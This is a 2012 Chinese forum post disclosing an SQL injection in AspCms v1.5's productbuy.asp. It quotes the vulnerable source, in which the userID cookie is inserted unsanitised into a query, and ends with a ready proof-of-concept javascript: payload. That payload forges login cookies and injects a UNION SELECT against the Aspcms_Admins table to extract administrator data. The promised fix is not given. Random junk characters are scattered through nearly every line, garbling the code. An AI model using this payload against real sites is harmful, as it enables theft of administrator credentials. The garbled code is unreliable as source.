找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2288|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....
5 y9 K- }$ H: |  D也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
  A9 m* r+ q3 n" h7 `! H) r废话不多说,看代码:
) e3 S: ^8 S+ J2 Y! Y
1 g+ U8 }% ?0 }! p" N: L0 E<%
1 ^/ }' J; f/ O  x5 @4 ?/ o6 o. I& |/ Y5 X7 v8 |
if action = "buy" then- Z+ U, a$ k7 X: A" K2 H: q4 w

/ U; v3 k$ |' i0 |        addOrder()+ ^: X$ z" N  w' Y6 B' v3 D
& Y: e% ~  |1 g
else7 I6 c! Q' ~/ i( }( V( E/ ?

4 X5 h- n* ?$ a) y" ?7 N        echoContent()0 X: J! a+ p* B
9 [5 u2 q9 D- C  U1 h* [
end if
# x8 p: C  Q# U; e# G; [
# Q4 m8 i* r; o" U1 i3 x) g# {$ A1 g2 l4 O

" b: H9 I. k4 E……略过  D8 [. @" f. F2 G; ~- K2 u

/ J  Q$ N6 q2 }, h: I) R' M5 z/ b9 ]

& ?# n# M$ w9 T5 nSub echoContent()
7 e7 {: S; l8 ]" i
% {; ~  G' k/ a4 @: {3 u        dim id
: v3 m, M# i- g2 S' p" j
# B5 m2 j) W" Y6 i& v- r        id=getForm("id","get")! S- [5 r6 k# ?9 N- c

3 F6 p8 h/ r: p& ~$ ]0 M        6 J  }5 w! |# W

, Y7 H% Q' v+ w+ r        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" $ c) |. y+ L* ]- G3 Z

" F  z# A2 i* `) t4 {        
+ b; V4 p$ m; F3 ?3 B' A( |2 A( J* w- s1 a( S0 f
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
- b  W% n$ h$ k8 w# D( n' U: ?9 _+ Q
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct0 k7 x; S& n: s( J$ @
; y$ b8 I7 o, c
        Dim templatePath,tempStr) @' K* `8 |) t. B( R9 b
+ _6 o; m4 [' j, G6 b
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"4 [3 w3 ?% K+ ^% Z8 j5 @

0 Q2 i7 ?- I2 J# r# V5 ]& Q! G# h; K. \4 l2 \7 E" q& r' J: X# |

. P3 ]/ Q5 I3 Y$ `: _$ @* i8 U        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")! o  m" f2 `$ x7 P

4 t, U- p  w% n, m        selectproduct=rsObj(0)9 p/ p& B! A) M9 Y- b

& w. `" }/ ~  O9 w4 \8 a        $ }" j+ b. s  ]& K: \6 o

! `) m" C; V# k; X0 W2 P        Dim linkman,gender,phone,mobile,email,qq,address,postcode
4 C2 I) v* s) j8 q- W5 x* r1 B: ?; R
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
. |3 z  |7 d7 w# p7 T# i! h% u; d
3 ~  r' v5 c$ J+ j3 p! P, @# @        if rCookie("loginstatus")=1 then  . T6 u$ e5 f0 n0 e# i

! C% Z* ?9 k. l2 k                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
) [- a9 p8 ~$ r2 n2 Z# y9 C- K  b* n# j! T$ }
                linkman=rsObj("truename")
1 |* I8 A  `# ?) i8 p2 Z( D0 y3 S
8 c7 [0 q+ ?- J& e                gender=rsObj("gender")
" j9 t& o& Q1 t9 O' a
- y6 l4 \6 t3 o9 D, u                phone=rsObj("phone")* i, d9 v9 o; }$ M

6 c& ^4 l- X4 Q, c( d& o, ?                mobile=rsObj("mobile")& A0 r/ ]8 z" [  _) b
( @( f6 B$ y0 ]1 E7 ]4 T
                email=rsObj("email")
. U% E: ^' M5 F- c( Q: o% e! ?
/ ^/ X# ^6 r4 m! Z                qq=rsObj("qq")
! ]% n, W9 V3 U6 n+ y( v$ X- U( u
                address=rsObj("address")0 \" _- }. k- @$ Z/ U! R

! R5 w" w& v3 w' \; @* N" W                postcode=rsObj("postcode")' p9 W- {) u6 w6 G% z3 d
5 u8 X* A9 e2 {1 f5 h! ?# _
        else
! {: r& H4 E9 ^0 m8 g0 F4 k; f
5 F: {2 U8 e; D2 N) c$ r" Y, \. F: U                gender=1
5 \' h3 E0 M& D* _: A4 f+ W9 D5 i2 z
        end if
# ]2 @% j; _5 t. X% i' i
4 C; e6 \9 D$ b2 E' u7 f/ L        rsObj.close()
, }! `4 y4 v' v5 Z. O
- Q; H) I( ]9 S, b               
" @  q  h  t. L& u4 R7 V2 x. s
9 f! z) W! |3 k; b        with templateObj
. D. s5 j% W! p9 t8 o$ X
" `3 J9 Z( p" _' ?- N- c                .content=loadFile(templatePath)        ' ]7 t  K8 p* B" ^  `0 t$ J6 h

  z: P/ ?/ R' }# |: L                .parseHtml()7 \8 Z; m( B5 {9 N

3 a# R$ `  }# P' ~6 N                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
2 L/ o1 V; _0 B  x  s$ g) }& v; J6 M
& y: W9 \3 m8 a& O! y# d                .content=replaceStr(.content,"[aspcms:linkman]",linkman)                  @6 m2 m2 a' R4 \& r$ ^
) [6 J! q+ N# ?7 _4 f
                .content=replaceStr(.content,"[aspcms:gender]",gender)               
1 h5 c  [$ u# ~( d( f6 w% m6 v, {9 v+ L/ V4 k
                .content=replaceStr(.content,"[aspcms:phone]",phone)                - ?9 p3 H9 _7 C- \( Y9 ~* S: f
/ [7 }& j- L5 O) ?0 _, ]: Y
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)                9 W' d0 q, v# D
2 @! ^- Y7 T% J
                .content=replaceStr(.content,"[aspcms:email]",email)                        
; v  K) [2 c8 h( F( y6 ^3 e
* L) j% J% P$ G                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
, d" e6 J3 W1 \. I7 r- _/ v1 w7 U7 v
                .content=replaceStr(.content,"[aspcms:address]",address)                        
  R+ b  D( M' \- j5 F* s9 {! m" ~0 H& F$ Y" s
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
' i+ ~9 N/ O' K- `: p
% h+ e8 V5 Y3 T9 U, z4 v                .parseCommon()                 0 Q9 u2 x  P* y: N

$ w* f# O* m9 G) U+ n                echo .content " n: e9 P8 p, K! R) [

# O1 d( `  y( I) P/ a' D        end with
+ r4 `' d% z+ [- I2 U5 J
9 `8 U/ h; A% t3 V' @9 V  H        set templateobj =nothing : terminateAllObjects
( d9 t' ?& S/ _) W1 A2 N- ~% R3 ~2 a" \" O! c$ u& E4 C
End Sub/ {* K' A: E2 W
漏洞很明显,没啥好说的
: m3 ^4 {( M* B( L9 o  n( V. m+ [, lpoc:" o2 ^, `! I. c0 K$ t
! p; g6 l. f& Y7 r+ t8 j
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​
0 w% h7 J# D  O2 t+ M7 }% G' t. }: ^7 G
3 r* M& z5 l' U, U
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表